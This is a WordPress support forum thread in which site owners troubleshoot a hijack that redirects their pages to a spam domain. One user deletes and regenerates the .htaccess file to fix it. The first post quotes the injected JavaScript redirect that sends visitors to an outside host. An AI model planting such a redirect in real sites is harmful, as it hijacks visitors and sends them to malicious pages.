Title: JavaScript redirection
Last modified: August 21, 2016

---

# JavaScript redirection

 *  [Artform](https://wordpress.org/support/users/a3sthetix/)
 * (@a3sthetix)
 * [12 years, 1 month ago](https://wordpress.org/support/topic/javascript-redirection/)
 * For some reason, with WooCommerce enabled, my pretty links always redirect to
   this spam website. It only happens with pretty-links and WooCommerce enabled.
   I’ve searched the database and all code for the name of the site and cannot find
   the source of the redirect. I know it’s JavaScript based because I viewed the
   source in Chrome using “view-source:[http://atrsports.com/blahblah/&#8221](http://atrsports.com/blahblah/&#8221);
   in the address bar. This happens all all computers I’ve tested with.
 * Here’s the code appearing:
 *     ```
       var pathArray = location.pathname.split('/');
       var ap = "/";
       for(var i=1; i<pathArray.length-1; i++) {
            ap += pathArray[i] + "/";
       }
         window.location.replace("http://mscdailynews.com/?" + ap);
       ```
   
 * Anyone have any idea how to locate this garbage?
 * [https://wordpress.org/plugins/woocommerce/](https://wordpress.org/plugins/woocommerce/)

Viewing 3 replies - 1 through 3 (of 3 total)

 *  [w0akin](https://wordpress.org/support/users/w0akin/)
 * (@w0akin)
 * [11 years, 10 months ago](https://wordpress.org/support/topic/javascript-redirection/#post-4807909)
 * I’m having the same issue. All my 404 are redirected to the same site but I’m
   ussing different plugins:
    - Advanced Custom Fields – Version 4.3.8
    - All In One SEO Pack – Version 2.2.1
    - Formulario de Contacto 7 – Version 3.9
    - Google XML Sitemaps v3 for qTranslate – Version 3.4.1
    - qTranslate – Version 2.5.39
    - qTranslate slug – Version 1.1.7
 * WordPress Version 3.8.1
 *  [Chris](https://wordpress.org/support/users/lamordnt/)
 * (@lamordnt)
 * [11 years, 10 months ago](https://wordpress.org/support/topic/javascript-redirection/#post-4807910)
 * This is happening to me as well. Redirecting to [http://mscdailynews.com](http://mscdailynews.com)
   when I try to go to my admin panel. Grrrrr…..
 *  [Chris](https://wordpress.org/support/users/lamordnt/)
 * (@lamordnt)
 * [11 years, 10 months ago](https://wordpress.org/support/topic/javascript-redirection/#post-4807911)
 * OK, so for my situation I just deleted my htaccess file and regenerated a new
   one and it fixed this. Seems the redirect was written into it somehow. Hope that
   helps someone else out there.

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘JavaScript redirection’ is closed to new replies.

 * ![](https://ps.w.org/woocommerce/assets/icon.svg?rev=3234504)
 * [WooCommerce](https://wordpress.org/plugins/woocommerce/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/woocommerce/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/woocommerce/)
 * [Active Topics](https://wordpress.org/support/plugin/woocommerce/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/woocommerce/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/woocommerce/reviews/)

## Tags

 * [hijack](https://wordpress.org/support/topic-tag/hijack/)
 * [javascript](https://wordpress.org/support/topic-tag/javascript/)
 * [redirect](https://wordpress.org/support/topic-tag/redirect/)

 * 3 replies
 * 3 participants
 * Last reply from: [Chris](https://wordpress.org/support/users/lamordnt/)
 * Last activity: [11 years, 10 months ago](https://wordpress.org/support/topic/javascript-redirection/#post-4807911)
 * Status: not resolved